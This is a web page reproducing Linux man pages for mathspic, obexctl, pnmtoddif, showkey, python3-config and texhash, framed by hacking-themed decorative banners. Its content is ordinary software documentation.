             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1504 - Linux cli command mathspic

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mathspic and provides detailed information about the command mathspic, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mathspic.

NAME 🖥️ mathspic 🖥️

AUTHORS

A. Syropoulos and R.W.D. Nickalls (April 26, 2010)

asyropoulos[at]<yahoo><com> dick[at]<nickalls><org>

DESCRIPTION

mathsPIC is a Perl filter program for PiCTeX. mathsPIC has its own macro and macro library capability, and allows use of mathsPIC, PiCTeX, TeX and LaTeX commands. A significant feature of mathsPIC is that it allows access to the command-line, and so allows the user to extend mathsPIC commands by calling Perl and other programs written to perform particular drawing actions. See the package manual for full details and examples. The latest version can be downloaded from

CTAN: tex-archive/graphics/pictex/mathspic/perl

Commands which can be used in the mathsPIC script file fall into four main groups (a) mathsPIC macro commands (prefixed with %def), (b) regular mathsPIC commands (do not have a backslash), (c) regular PiCTeX commands (all have a backslash), and (d) regular TeX and LaTeX commands (all have a backslash).

The following mathematics functions can used (note that decimal fractions having an absolute value less than 1 must have a leading zero). Note also that all the trignometric functions require their argument in radians.

Trigonometric: sin(), cos(), tan(), asin(), acos(), atan()

Remainder: rem(); eg var r=12 rem(5)

Integer: int(); eg var r= int(3.87) –> 3

Sign (returns -1, 0, +1): sgn(); eg var s=sgn(-3.27) –> -1

Square root: sqrt(); eg var s = sqrt(14)

Exponentiation: **; eg var j = r**2

Pi constant (3.14159…): _Pi_ and _pi_

e constant (2.71828…): _E_ and _e_

Linethickness: _linethickness_ ; eg var t = _linethickness_

COMMAND-LINE USE

perl mathspic.pl [-b] [-c] [-h] [-o <outfile>] <infile>

-b enables beep if mathsPIC detects an error

-c disables the writing of comments to output file

-h displays the help file

-o defines the output file name

MACRO COMMANDS

macro definition commands are prefixed with %def and can take either 0, 1, or more parameters. Macros will generally be used as part of a var command as shown below. Macros are deleted using the %undef command.

—–syntax: %def MACRONAME(parameters)<macrodefinition> %undef MACRONAME(parameters)

—–notes: Notes: (a) the () must be used in the definition even if no parameters are used, (b) the name can be any combination of upper and lower case characters and numbers, (c) when the macro is used in a command it is prefixed by a & symbol, (d) it is a good idea to always place a % symbol at the end of the definition, (e) comments (prefixed by a % symbol) can be placed after the macro definition just as in TeX or LaTeX.

—–examples: %def d2r()_pi_/180% % degrees2radians %def AreaOfRectangle(x,y)x*y% % width x, length y %undef d2r() % delete the macro

—–use: var j2= 6*(&d2r(45) + 23) var a3 = 3*&AreaOfRectangle(5,7)

GENERAL COMMANDS

NUMERICAL EXPRESSIONS When dealing with commands we will refer frequently to the term `numerical expression’ by which is meant either (a) a number (integer or decimal), (b) a numeric variable or constant (defined using the var or const command), (c) any mathsPIC function, macro, or mathematical expression which evaluates to a number, or (d) a pair of point names (e.g. AB) representing the Pythagorean distance between the two points. A leading zero must be used with decimal fractions less than one.

In general, if a command’s argument accepts a number then it will also accept a `numerical expression’ (<expr>) as defined above. Sometimes a following <unit> is associated with the number or numerical expression, in which case the number or numerical expression can be delimited by a round bracket (or separated from the unit by a <space>), as shown in the following examples.

—–examples: ArrowShape(3mm, 20,40) var h=4 ArrowShape(h mm, 20, 40) ArrowShape((2*h)mm,20,40)

BACKSLASH \ A leading backslash without a following space indicates that it is part of a PiCTeX, TeX or LaTeX command, in which case mathsPIC simply copies the whole line verbatim into the output file. A leading backslash followed by one or more spaces makes mathsPIC copy the whole line verbatim into the output file but without the backslash.

USING THE COLOR PACKAGE The standard COLOR package can be used with mathsPIC, but note that it is important to load the COLOR package after the mathsPIC package.

It is best to place a comment symbol % at the end of LaTeX and TeX commands to limit white space at the end.

In the event of any colour-spill from a diagram into any following text (this used to be a problem in early TeX implementations) consider using the ormalcolor command as a delimiter within the eginpicture…ndpicture environment.

==============================

ARROWSHAPE This command defines the shape of an arrowhead, and allows different arrowheads to be customised.

The default arrow shape is equivalent to the Arrowshape(2mm,30,40) command. This default arrowhead shape can be reset using the Arrowshape(default) command, as shown in the following example.

—–syntax: arrowshape(<length>[units], <angledeg>, <angledeg>)

—–examples: Arrowshape(4mm,30,60) drawArrow(AB) Arrowshape(default)

==============================

beginLOOP…endLOOP This is an environment which cycles a block of code a specified number of times.

—–syntax: beginLoop <expr> … endLoop

—–notes: The block of code which lies within the environment is input <expr> times.

—–example: beginLoop 5 … endLoop

==============================

beginSKIP…endSKIP This is an `environment’ within which commands are not actioned. It is useful in development for testing isolated commands and excluding other commands.

==============================

CONST The const command is used to define scalar constants. Note that a constant-name must begin with a single letter (either upper or lower case), and may have up to a maximum of three following digits. Note that constants, variables and points have the same name structure, and a constant could have the same name as a point (and so we suggest points have uppercase letters and variables and constants have lowercase letters). The scalar argument can be any numeric expression. New values cannot be re-allocated to existing constant-names. If this occurs mathsPIC will issue an error message.

—–syntax: const name = <expr>

—–examples: const r = 20, r4 = r3*tan(0.3)

==============================

DashArray The dasharray command takes an arbitrary number of paired arguments that are used to specify a dash pattern.

—–syntax dasharray(d1 , g1 , d2 , g2 , … )

—–notes The ds denotes the length of a dash and the gs denotes the length of the gap between two consecutive dashes. There must be an even number of arguments. If a variable or expression is used then it should be separated from the unit either by a <space> or with round brackets ( ) as shown below.

—–example dasharray(6pt, 2pt, 1pt, 2pt) var d=2 dasharray(6pt, 2pt, 1pt, d pt) dasharray(6pt, 2pt, 1pt, (d)pt) dasharray(6pt, 2pt, 1pt, (3*d)pt)

==============================

DrawAngleArc This command draws an arc in the specified angle, a distance <radius> from the angle. The angle is either <internal> (less than 180 deg) or <external> (greater than 180 deg). The direction of the arc is either <clockwise> or <anticlockwise>, and this direction must correspond with the letter sequence specified for the angle. Strange and unexpected results will be produced if the four parameters are not internally consistent. The option order angle/radius/internal or external/clockwise or anticlockwise is important. The <radius> parameter can be any numerical expression.

—–syntax: DrawAngleArc{angle(), radius(), external, clockwise}

—–example: DrawAngleArc{angle(ABC), radius(3), external, clockwise} var r=3 DrawAngleArc{angle(ABC), radius(r), external, clockwise}

==============================

DrawAngleArrow This command draws a curved arrow in the specified angle, a distance <radius> from the angle. The angle is either <internal> (less than 180 deg) or <external> (greater than 180 deg). The direction of the arrow is either <clockwise> or <anticlockwise>, and this direction must correspond with the letter sequence specified for the angle. Strange and unexpected results will be produced if the four parameters are not internally consistent. The option order angle/radius/internal/clockwise is important. The <radius> parameter can be any numerical expression.

—–syntax: DrawAngleArrow{angle(), radius(), external, clockwise}

—–example: DrawAngleArrow{angle(ABC), radius(3), external, clockwise} var r=3 DrawAngleArrow{angle(ABC), radius(r), external, clockwise}

==============================

DrawArrow This command draws an arrow(s) joining two points. The direction of the arrow is in the point order specified.

—–syntax: drawArrow(<line> [,<line>] … )

—–notes: The length option can only refer to one arrow

—–example: drawArrow(AB) drawArrow(FG, HJ)

==============================

DrawCircle This command draws a circle defined by its radius and the point-name of its centre. The <radius> can be any numerical expression. If the units of the X and Y axes are different, circles may be drawn strangely, and mathsPIC therefore generates a warning message to this effect.

—–syntax: DrawCircle(<center>, <radius>)

—–examples: drawCircle(C2,5) drawCircle(C2,r2) drawCircle(C2,r2/tan(1.3)) drawCircle(C2,AB)

==============================

DrawCircumcircle This command draws the circumcircle of a triangle.

—–syntax: DrawCircumcircle(<triangle>)

—–example: drawCircumcircle(ABC)

==============================

DrawCurve This command draws a smooth quadratic curve through three points in the point order specified. Note that curves drawn using this command do not break to avoid line-free zones associated with the points.

—–syntax: DrawCurve(<point><point><point>)

—–example: drawCurve(ABC)

==============================

DrawExcircle This command draws the excircle touching one side of a triangle.

—–syntax: DrawExcircle(<triangle>, <side>)

—–example: drawExcircle(ABC, BC)

==============================

DrawIncircle This command draws the incircle of a triangle.

—–syntax: DrawIncircle(<triangle>)

—–example: drawIncircle(ABC)

==============================

DrawLine This command draws a line joining two or more points. Use the Linethickness command to vary thickness. This command uses the PiCTeX \putrule command for horizontal and vertical lines, and the \plot command for all other orientations.

—–syntax: DrawLine( <points> [, <points>] )

—–notes: <points> is any sequence of two or more point names. <expr> is any numerical expression. Lines are drawn in the order specified. Lines are separated by a comma.

—–examples: drawline(AB) drawline(BCDE) drawline(FG, HJK, PQRST)

==============================

DrawPerpendicular This command draws the perpendicular from a point to a line.

—–syntax: DrawPerpendicular(<point>, <line)

—–example: drawPerpendicular(P,AB)

==============================

DrawPoint This command draws the point-symbol at the point-location. Commas must not be used to separate point names. The default point-symbol is $ullet$, unless an optional point-symbol (or string of characters) is specified in the associated point command.

—–syntax: DrawPoint(<point> [<point> ..])

—–examples: drawpoint(T4) drawpoint(ABCDEF) drawpoint(P1 P2 P3 P4)

==============================

DrawRightangle This command draws the standard right-angle symbol in the internal angle specified at the size specified by <expr>.

—–syntax: DrawRightangle(<angle>, <expr>)

—–notes: The <expr> can be any numerical expression.

—–example: drawRightangle(ABC,3) drawRightangle(ABC,PQ) var d=5 drawRightangle(ABC,d)

==============================

DrawSquare This command draws a square defined by its side and the point-name of its centre. The <sidelength> can be any numerical expression.

—–syntax: DrawSquare(<centerpoint>, <sidelength>)

—–examples: drawSquare(P,5) var s2=3, j=2 drawSquare(P,s2) drawSquare(P, s2*4/(3*j)) drawSquare(P,AB)

==============================

DrawThickArrow This command draws a thick arrow(s) joining two points. The direction of the arrow is in the point order specified. The shape of the arrowhead is controlled by the ArrowShape command.

—–syntax: drawThickArrow(<line> [,<line>,…])

—–examples: drawThickarrow(BC) drawThickarrow(PQ, RS)

==============================

DrawThickLine This command draws a thick line(s) joining two points. The direction of the line is in the point order specified. Use the Linethickness command to vary thickness of a line.

—–syntax: drawThickLine(<line> [,<line>,…])

—–examples: drawThickline(BC) drawThickline(PQ, RS)

==============================

InputFile This command inputs a plain text file containing mathsPIC commands. Optionally, the file can be input several times, in which case this command functions like a DO–LOOP. The <loopnumber> can be any numerical expression. If the <loopnumber> is not an integer then mathsPIC will round the value down to the nearest integer. See also the beginLOOP … endLOOP commands.

—–syntax: inputFile[*](<filename>)[<loopnumber>]

—–notes: The inputfile* command is used to input a file in verbatim, i.e. a file with no mathsPIC commands, for example, a file containing only PiCTeX commands or data-points for plotting etc. Note that the inputfile* command has no <loopnumber> option. Note also that PiCTeX requires a ODD number of points.

—–examples: inputFile(myfile.dat)[4] inputFile*(mycurvedata.dat)

==============================

LineThickness This command sets a particular linethickness. The command linethickness(default) restores the working linethickness to the default value of 0.4pt. The current value of the linethickness (in current units) can be accessed using the var command (this can be useful when drawing figures using thick lines) .

—–syntax: LineThickness(<expr><units>) LineThickness(default) var t = _linethickness_

—–notes: This command also sets the font to cmr and plotsymbol to \CM . and also sets the rule thickness for drawing horizontal and vertical lines. It is important to include a leading zero with decimal fractions less than one.

—–examples: linethickness(2pt) var t=3 linethickness((t)pt) lineThickness((2*t)pt) linethickness(default) var t = _linethickness_

—–caution: Note that there is a similar PiCTeX command with the same name (but with a different syntax).

==============================

PAPER Defines the plotting area in terms of the options units(), xrange(), yrange(), axes(), and ticks(). The units() argument must contain a numeric value and a valid TeX length unit mm, cm, pt, pc(pica), in(inch), bp(big point), dd(didot), cc(cicero), sp(scaled point). The X and Y axes can have different units (see second example below). The axes() arguments XYTBLR refer to the X and Y axes, and the Top, Bottom, Left and Right axes. A * following one of the axes disables ticks on that axis. The X and Y axes pass through the zeros.

—–examples: paper{units(1cm),xrange(0,10),yrange(0,10)} paper{units(2cm,1cm),xrange(0,10),yrange(0,10),axes(LB)} paper{units(1mm),xrange(0,100),yrange(0,100),axes(XY)} paper{units(1cm),xrange(-5,5),yrange(-5,5),axes(LRTBXY),ticks(1,1)} paper{units(1cm),xrange(-5,5),yrange(-5,5),axes(LRT*B*)}

==============================

POINT Defines a new point by allocating coordinates to a new point name. The * option re-allocates coordinates to an existing point name.

—–syntax: POINT[*](<name>){<point>}[symbol=<chars>, radius=<expr>] POINT[*](<name>){<location>}[symbol=<chars>, radius=<expr>]

—–notes: <name> one leading letter plus maximum of three trailing digits <chars> any TeX string allowed in an \hbox{} <expr> any numerical expression The polar(r,theta) option defaults to radians for the angle theta. To work in degrees then must append <deg> eg: polar(r,theta deg). Can use <direction()> and <directiondeg()> to replace theta. Note that the term vector(AB) means use same (r, theta) as AB.

—–examples: point(A){5,5} point(B2){22,46}[symbol=$\odot$] point(B2){22,46}[symbol=circle(2),radius=5] var r=3 point(B2){22,46}[symbol=square(3),radius=r] point(B123){22,46}[radius=5] point(D2){B2, shift(5,5)} var s = 3 point(D2){B2, shift(2*s,4*s)} point(D3){D2, polar(6,32 deg)} point(D4){D2, polar(6,1.2 rad)} point(D4){D2, polar(6, direction(AB))} %% radians by default point(D4){D2, polar(6, directiondeg(AB) deg)} point(G2){Q, rotate(P, 23 deg)} point(G2){Q, vector(AB)} point(D2){intersection(AB,CD)} point(F){PointOnLine(AB,5.3)} point(G){perpendicular(P,AB)} point(H){circumcircleCenter(ABC)} point(J){incircleCenter(ABC)} point(K){excircleCenter(ABC,BC)} point*(A){6,3} point*(P){Q} point*(B){B, shift(5,0)} point*(P){xcoord(J),ycoord(K)}

==============================

PointSymbol This command allows the default point-symbol ullet (with zero line-free radius) to be changed. The PointSymbol command is particularly useful where a set of points uses the same point-symbol, for example, when drawing graphs. The point-symbol can be reset to the default ullet using the command PointSymbol(default).

—–syntax: PointSymbol(<symbol>, <line-free-radius>) PointSymbol(default)

—–notes: The PointSymbol command only influences subsequent point commands. The optional square bracket of the point command overrides the PointSymbol command.

—–examples: PointSymbol($\odot$, 0.7) PointSymbol(default)

==============================

SYSTEM This command allows the user to access the command line and execute standard Linux commands. A important use for this command is to run a Perl program.

—–syntax: System("<command>")

—–notes: The <command> string must be in inverted commas.

—–example: system(“dir > mydir-listing.txt”) system(“perl myperlprogram.pl”)

==============================

SHOW…. This command makes mathsPIC return the value of a calculation or specified parameter; for example, the value of a particular angle, or the length of a line. The result is shown in the output-file as a commented line. This allows mathsPIC commands to be adjusted in the light of calculations. There are currently five such commands as follows.

—–syntax: showLength(AB) showAngle(ABC) % returns angle in radians showAngledeg(ABC) % returns angle in degrees showArea(ABC) showPoints showVariables

==============================

TEXT This command places a text-string at a specific location. By default the text is centered vertically and horizontally at the specified point. Optionally, text can be placed relative to a point using appropriate combinations of the PiCTeX `position’ options l t r B b to align the (l)eft edge, (r)ight edge, (t)op edge, (B)aseline, (b)ottom edge respectively of the text box with the point-location.

Remember that the default units for the angle argument of the polar() expression is radians; hence you MUST append `deg’ if you want to work in degrees

—–syntax: text(<string>){<location>}[<position options>] text(<string>){<pointname>, shift(<x>,<y>)}[] text(<string>){<pointname>, polar(<r>,<angle>[rad])}[]

—–examples: text(A){5,6} text($A_1$){A1, shift(2, 2)} text(Z2){Z2, shift(5, -5)}[tr] text(Z3){Z2, polar(5, 20 deg)}[Br] text(Z4){Z2, polar(5, 1.34 rad)} text( ramebox{Z5}){Z5}

==============================

VAR The var command is used to define scalar variables. It can be any numerical expression. A variable-name must begin with a single letter (either upper or lower case), and may have up to a maximum of four following digits. If a more detailed variable name is required, then a simple alternative is to use a mathsPIC macro—as any string can be allocated via macros (see the beginning of this chapter for details on macros).

Note that variables, constants and points have the same name structure, and a variable can have the same name as a point (and so we suggest points have uppercase letters and variables and constants have lowercase letters). New values can be re-allocated to existing variable-names; however, when this occurs then mathsPIC does not issue a warning message to hightlight this fact.

If it is important to be warned if a potential variable is accidentally reallocated then one should consider using the const command instead (since mathsPIC does generate an error message if a constant is reallocated).

—–syntax: var <name> = <expr>

—–notes: In addition to the mathematical functions mathsPIC functions which can be used with the var command are:

angle(<three-points>) % returns angle in radians angledeg(<three-points>) % returns angle in degrees area(<three-points>) xcoord(<point>) ycoord(<point>) direction(<two-points>) % returns angular direction in radians directiondeg(<two-points>) % returns angular direction in degrees

—–examples: var r = 20, r4 = r3*tan(0.3), j = (r*2e3)**2, r5 = AB var e = _e_, p1 = _Pi_ var t = _linethickness_ % returns linethickness in current units var g137 = angle(ABC) %(default: returns in radians) var g = angledeg(ABC) % angle in degrees var h = area(ABC) var x2 = xcoord(A), y2 = ycoord(A) var m5 = 12 rem 3 % remainder after dividing by 3 var r1 = direction(PQ) % in radians var d1 = directiondeg(PQ)

==============================

SEE ALSO

The mathsPIC package manual and examples

BUGS

Please report bugs to Dick Nickalls (dick [AT] nickalls [dot] org) or to Apostolos Syropoulos

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1505 - Linux cli command obexctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command obexctl and provides detailed information about the command obexctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the obexctl.

NAME 🖥️ obexctl 🖥️

A command-line interface of BlueZ for OBEX (file transfer)

Usage:

obexctl [options]

OPTIONS

–timeout
Timeout in seconds for non-interactive mode

–version
Display version

–help
Display help

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1506 - Linux cli command pnmtoddif

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtoddif and provides detailed information about the command pnmtoddif, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtoddif.

.

NAME 🖥️ pnmtoddif 🖥️

Convert a PNM image to DDIF format

SYNOPSIS

pnmtoddif [-resolution x y] [pnmfile [ddiffile]]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtoddif takes a PNM image and converts it into a DDIF image file.

pnmtoddif writes PBM format (bitmap) data as a 1 bit DDIF, PGM format data (grayscale) as an 8 bit grayscale DDIF, and PPM format (color) data as an 8,8,8 bit color DDIF. pnmtoddif writes any DDIF image file uncompressed. The data plane organization is interleaved by pixel.

In addition to the number of pixels in the width and height dimension, DDIF images also carry information about the size that the image should have, that is, the physical space that a pixel occupies. Netpbm images do not carry this information, hence you have to supply it externally. The default of 78 dpi has the beneficial property of not causing a resize on most Digital Equipment Corporation color monitors.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtoddif recognizes the following command line option:

resolution x y
The horizontal and vertical resolution of the output image in dots per inch. Default is 78 dpi.

ARGUMENTS

pnmfile
The filename for the image file in pnm format. Default is to read from Standard Input.

ddiffile
The filename for the image file to be created in DDIF format. By default, pnmtoddif writes to Standard Output.

SEE ALSO

pnm(1)

AUTHOR

Burkhard Neidecker-Lutz, Digital Equipment Corporation, CEC Karlsruhe [email protected]

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtoddif.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1507 - Linux cli command showkey

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command showkey and provides detailed information about the command showkey, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the showkey.

NAME 🖥️ showkey 🖥️

examine the codes sent by the keyboard

SYNOPSIS

showkey [-h|–help] [-a|–ascii] [-s|–scancodes] [-k|–keycodes] [-V|–version]

DESCRIPTION

showkey prints to standard output either the scan codes or the keycode or the `ascii’ code of each key pressed. In the first two modes the program runs until 10 seconds have elapsed since the last key press or release event, or until it receives a suitable signal, like SIGTERM, from another process. In `ascii’ mode the program terminates when the user types ^D.

When in scancode dump mode, showkey prints in hexadecimal format each byte received from the keyboard to the standard output. A new line is printed when an interval of about 0.1 seconds occurs between the bytes received, or when the internal receive buffer fills up. This can be used to determine roughly, what byte sequences the keyboard sends at once on a given key press. The scan code dumping mode is primarily intended for debugging the keyboard driver or other low level interfaces. As such it shouldn’t be of much interest to the regular end-user. However, some modern keyboards have keys or buttons that produce scancodes to which the kernel does not associate a keycode, and, after finding out what these are, the user can assign keycodes with setkeycodes(8).

When in the default keycode dump mode, showkey prints to the standard output the keycode number or each key pressed or released. The kind of the event, press or release, is also reported. Keycodes are numbers assigned by the kernel to each individual physical key. Every key has always only one associated keycode number, whether the keyboard sends single or multiple scan codes when pressing it. Using showkey in this mode, you can find out what numbers to use in your personalized keymap files.

When in `ascii’ dump mode, showkey prints to the standard output the decimal, octal, and hexadecimal value(s) of the key pressed, according to he present keymap.

OPTIONS

-h –help
showkey prints to the standard error output its version number, a compile option and a short usage message, then exits.

-s –scancodes
Starts showkey in scan code dump mode.

-k –keycodes
Starts showkey in keycode dump mode. This is the default, when no command line options are present.

-a –ascii
Starts showkey in `ascii’ dump mode.

-V –version
showkey prints version number and exits.

2.6 KERNELS

In 2.6 kernels key codes lie in the range 1-255, instead of 1-127. Key codes larger than 127 are returned as three bytes of which the low order 7 bits are: zero, bits 13-7, and bits 6-0 of the key code. The high order bits are: 0/1 for make/break, 1, 1.

In 2.6 kernels raw mode, or scancode mode, is not very raw at all. Scan codes are first translated to key codes, and when scancodes are desired, the key codes are translated back. Various transformations are involved, and there is no guarantee at all that the final result corresponds to what the keyboard hardware did send. So, if you want to know the scan codes sent by various keys it is better to boot a 2.4 kernel. Since 2.6.9 there also is the boot option atkbd.softraw=0 that tells the 2.6 kernel to return the actual scan codes.

SEE ALSO

loadkeys(1), dumpkeys(1), keymaps(5), setkeycodes(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1508 - Linux cli command python3-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python3-config and provides detailed information about the command python3-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python3-config.

NAME 🖥️ python3-config 🖥️

config - output build options for python C/C++ extensions or embedding

SYNOPSIS

python-config [ –prefix ] [ –exec-prefix ] [ –includes ] [ –libs ] [ –cflags ] [ –ldflags ] [ –extension-suffix ] [ –abiflags ] [ –help ]

DESCRIPTION

python-config helps compiling and linking programs, which embed the Python interpreter, or extension modules that can be loaded dynamically (at run time) into the interpreter.

OPTIONS

–abiflags
print the the ABI flags as specified by PEP 3149.

–cflags
print the C compiler flags.

–ldflags
print the flags that should be passed to the linker.

–includes
similar to –cflags but only with -I options (path to python header files).

–libs
similar to –ldflags but only with -l options (used libraries).

–prefix
prints the prefix (base directory) under which python can be found.

–exec-prefix
print the prefix used for executable program directories (such as bin, sbin, etc).

–extension-suffix
print the extension suffix used for binary extensions.

–help
print the usage message.

EXAMPLES

To build the singe-file c program prog against the python library, use

gcc $(python-config –cflags –ldflags) progr.cpp -o progr.cpp

The same in a makefile:

CFLAGS+=$(shell python-config –cflags)

LDFLAGS+=$(shell python-config –ldflags)

all: progr

To build a dynamically loadable python module, use

gcc $(python-config –cflags –ldflags) -shared -fPIC progr.cpp -o progr.so

SEE ALSO

python (1)
http://docs.python.org/extending/extending.html
/usr/share/doc/python/faq/extending.html

AUTHORS

This manual page was written by Johann Felix Soden <[email protected]> for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1509 - Linux cli command texhash

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command texhash and provides detailed information about the command texhash, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the texhash.

NAME 🖥️ texhash 🖥️

create ls-R databases

SYNOPSIS

mktexlsr [directories]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Kpathsea: A library for path searching.

mktexlsr is used to generate the ls-R databases used by the kpathsea library. It will create them for the specified directories, or for a default list if no directories are specified.

OPTIONS

mktexlsr accepts the following options:

–help
Print help message and exit.

–version
Print version information and exit.

REPORTING BUGS

Report bugs to: [email protected] (https://lists.tug.org/tex-k)
TeX Live home page: https://tug.org/texlive/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
